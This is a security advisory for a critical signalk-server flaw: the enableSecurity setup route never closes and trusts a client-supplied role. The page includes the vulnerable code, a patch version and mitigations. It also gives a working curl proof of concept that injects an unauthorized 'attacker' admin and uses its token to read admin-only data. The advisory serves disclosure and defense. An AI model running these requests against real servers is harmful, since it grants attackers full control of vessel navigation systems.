Signal K Server: Privilege Escalation by Admin Role Injection via /enableSecurityGHSA-x8hc-fqv3-7gwf
CRITICALGHSA-x8hc-fqv3-7gwf is a critical-severity (CVSS 9.4) CWE-285 vulnerability in signalk-server. A fix is available for signalk-server — see the affected versions and patch details below.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-x8hc-fqv3-7gwf.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
signalk-servernpmDescription
Summary
According to SignalK's security documentation, when a server is first initialized without security enabled, the /skServer/enableSecurity endpoint is intentionally exposed to allow the owner to set up the initial admin account. This initial open access is by design.
However, the critical vulnerability is that this route is never deregistered or disabled after the initial successful setup. Even after the genuine administrator has created their account, restarted the server, and activated token security, the /skServer/enableSecurity route remains perpetually open.
Furthermore, the endpoint explicitly trusts the type field provided in the request body, passing it directly into the server's security configuration without validation. Because the route remains permanently listening, any unauthenticated user can call this endpoint at any time to silently inject a new, fully privileged admin account alongside the legitimate ones.
Vulnerable Root Cause
File: src/serverroutes.ts (Lines 685-754)
if (app.securityStrategy.getUsers(getSecurityConfig(app)).length === 0) {
app.post(
`${SERVERROUTESPREFIX}/enableSecurity`,
(req: Request, res: Response) => {
// ...
function addUser(request: Request, response: Response, securityStrategy: SecurityStrategy, config?: any) {
// [!VULNERABLE] Passes the entire JSON request body directly to the security strategy
securityStrategy.addUser(config, request.body, (err, theConfig) => {
// ...
})
}
}
// ... No code disables or removes this route after first execution.
// The conditional check on Line 685 only happens during server startup,
File: src/tokensecurity.ts (Lines 980-994)
function addUser(
theConfig: SecurityConfig,
user: { userId: string; type: string; password?: string },
callback: ICallback<SecurityConfig>
): void {
// ...
const newUser: User = {
username: user.userId,
type: user.type // [!VULNERABLE] Blindly trusts the injected "type" field
}
Proof of Concept (PoC)
Simulate Legitimate Initial Setup: Send a POST request to the open enableSecurity route defining the initial legitimate admin account.
curl -X POST http://localhost:3000/skServer/enableSecurity \
-H "Content-Type: application/json" \
-d '{"userId": "admin", "password": "securepassword", "type": "admin"}'
Result: Security enabled
Inject Malicious Admin: Send the exact same request again to create a second, unauthorized admin account. This should ideally be blocked because security was already enabled.
curl -X POST http://localhost:3000/skServer/enableSecurity \
-H "Content-Type: application/json" \
-d '{"userId": "attacker", "password": "password123", "type": "admin"}'
Result: Security enabled (The vulnerability: The server fails to reject the request and creates the second admin).
Verify Both Admins Exist: Login via JWT as the attacker and query the restricted users endpoint.
# Get Token for Attacker
TOKEN=$(curl -s -X POST http://localhost:3000/signalk/v1/auth/login \
-H "Content-Type: application/json" \
-d '{"username": "attacker", "password": "password123"}' | jq -r .token)
# Access Admin-Only Data
curl -H "Authorization: Bearer $TOKEN" http://localhost:3000/skServer/security/users
Result: The system returns both admin and attacker as active Administrators.
<img width="1205" height="469" alt="Screenshot 2026-03-24 145906" src="https://github.com/user-attachments/assets/98855e54-cb78-4786-a9e3-63dcc1bed37a" />
Security Impact
An unauthenticated attacker can gain full Administrator access to the SignalK server at any time, allowing them to modify sensitive vessel routing data, alter server configurations, and access restricted endpoints
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | signalk-server | all versions | 2.24.0-beta.4npm install signalk-server@2.24.0-beta.4 |
Affected Products
signal k serversignalkDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for signalk-server, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update signalk-server to 2.24.0-beta.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-x8hc-fqv3-7gwf is resolved across your whole dependency graph.
Workarounds
Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used.
Frequently Asked Questions
Is GHSA-x8hc-fqv3-7gwf in your dependencies?
Find it across npm, including transitive dependencies.